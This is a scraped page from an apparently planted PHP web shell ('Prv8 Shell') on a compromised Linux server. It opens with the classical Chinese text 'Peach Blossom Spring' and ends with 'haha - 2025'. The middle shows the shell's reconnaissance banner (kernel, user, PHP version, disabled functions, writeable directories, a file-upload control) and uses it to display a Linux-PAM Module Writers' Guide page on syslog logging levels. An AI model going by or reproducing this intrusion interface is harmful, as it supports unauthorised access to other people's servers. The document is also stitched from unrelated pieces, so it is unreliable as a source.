晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/thread-self/root/usr/share/doc/pam-devel/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/share/doc/pam-devel/html/mwg-see-programming-syslog.html
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>5.2. Use of syslog(3)</title><meta name="generator" content="DocBook XSL Stylesheets Vsnapshot"><link rel="home" href="Linux-PAM_MWG.html" title="The Linux-PAM Module Writers' Guide"><link rel="up" href="mwg-see-programming.html" title="Chapter 5. Programming notes"><link rel="prev" href="mwg-see-programming-sec.html" title="5.1. Security issues for module creation"><link rel="next" href="mwg-see-programming-libs.html" title="5.3. Modules that require system libraries"></head><body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"><div class="navheader"><table width="100%" summary="Navigation header"><tr><th colspan="3" align="center">5.2. Use of <span class="citerefentry"><span class="refentrytitle">syslog</span>(3)</span></th></tr><tr><td width="20%" align="left"><a accesskey="p" href="mwg-see-programming-sec.html">Prev</a> </td><th width="60%" align="center">Chapter 5. Programming notes</th><td width="20%" align="right"> <a accesskey="n" href="mwg-see-programming-libs.html">Next</a></td></tr></table><hr></div><div class="section"><div class="titlepage"><div><div><h2 class="title" style="clear: both"><a name="mwg-see-programming-syslog"></a>5.2. Use of <span class="citerefentry"><span class="refentrytitle">syslog</span>(3)</span></h2></div></div></div><p>
        Only rarely should error information be directed to the user.
        Usually, this is to be limited to
        <span class="quote">“<span class="quote"><span class="emphasis"><em>sorry you cannot login now</em></span></span>”</span>
        type messages. Information concerning errors in the configuration
        file, <code class="filename">/etc/pam.conf</code>, or due to some system
        failure encountered by the module, should be written to
        <span class="citerefentry"><span class="refentrytitle">syslog</span>(3)</span> with <span class="emphasis"><em>facility-type</em></span>
        <span class="emphasis"><em>LOG_AUTHPRIV</em></span>.
      </p><p>
        With a few exceptions, the level of logging is, at the discretion
        of the module developer. Here is the recommended usage of different
        logging levels:
      </p><div class="itemizedlist"><ul class="itemizedlist" style="list-style-type: disc; "><li class="listitem"><p>
            As a general rule, errors encountered by a module should be
            logged at the <span class="emphasis"><em>LOG_ERR</em></span> level. However,
            information regarding an unrecognized argument, passed to a
            module from an entry in the <code class="filename">/etc/pam.conf</code>
            file, is <span class="emphasis"><em>required</em></span> to be logged at the
            <span class="emphasis"><em>LOG_ERR</em></span> level.
          </p></li><li class="listitem"><p>
            Debugging information, as activated by the
            <span class="command"><strong>debug</strong></span> argument to the module in
            <code class="filename">/etc/pam.conf</code>, should be logged
            at the <span class="emphasis"><em>LOG_DEBUG</em></span> level.
          </p></li><li class="listitem"><p>
            If a module discovers that its personal configuration
            file or some system file it uses for information is
            corrupted or somehow unusable, it should indicate this
            by logging messages at level, <span class="emphasis"><em>LOG_ALERT</em></span>.
          </p></li><li class="listitem"><p>
            Shortages of system resources, such as a failure to
            manipulate a file or <code class="function">malloc()</code> failures
            should be logged at level <span class="emphasis"><em>LOG_CRIT</em></span>.
          </p></li><li class="listitem"><p>
            Authentication failures, associated with an incorrectly
            typed password should be logged at level,
            <span class="emphasis"><em>LOG_NOTICE</em></span>.
          </p></li></ul></div></div><div class="navfooter"><hr><table width="100%" summary="Navigation footer"><tr><td width="40%" align="left"><a accesskey="p" href="mwg-see-programming-sec.html">Prev</a> </td><td width="20%" align="center"><a accesskey="u" href="mwg-see-programming.html">Up</a></td><td width="40%" align="right"> <a accesskey="n" href="mwg-see-programming-libs.html">Next</a></td></tr><tr><td width="40%" align="left" valign="top">5.1. Security issues for module creation </td><td width="20%" align="center"><a accesskey="h" href="Linux-PAM_MWG.html">Home</a></td><td width="40%" align="right" valign="top"> 5.3. Modules that require system libraries</td></tr></table></div></body></html>

haha - 2025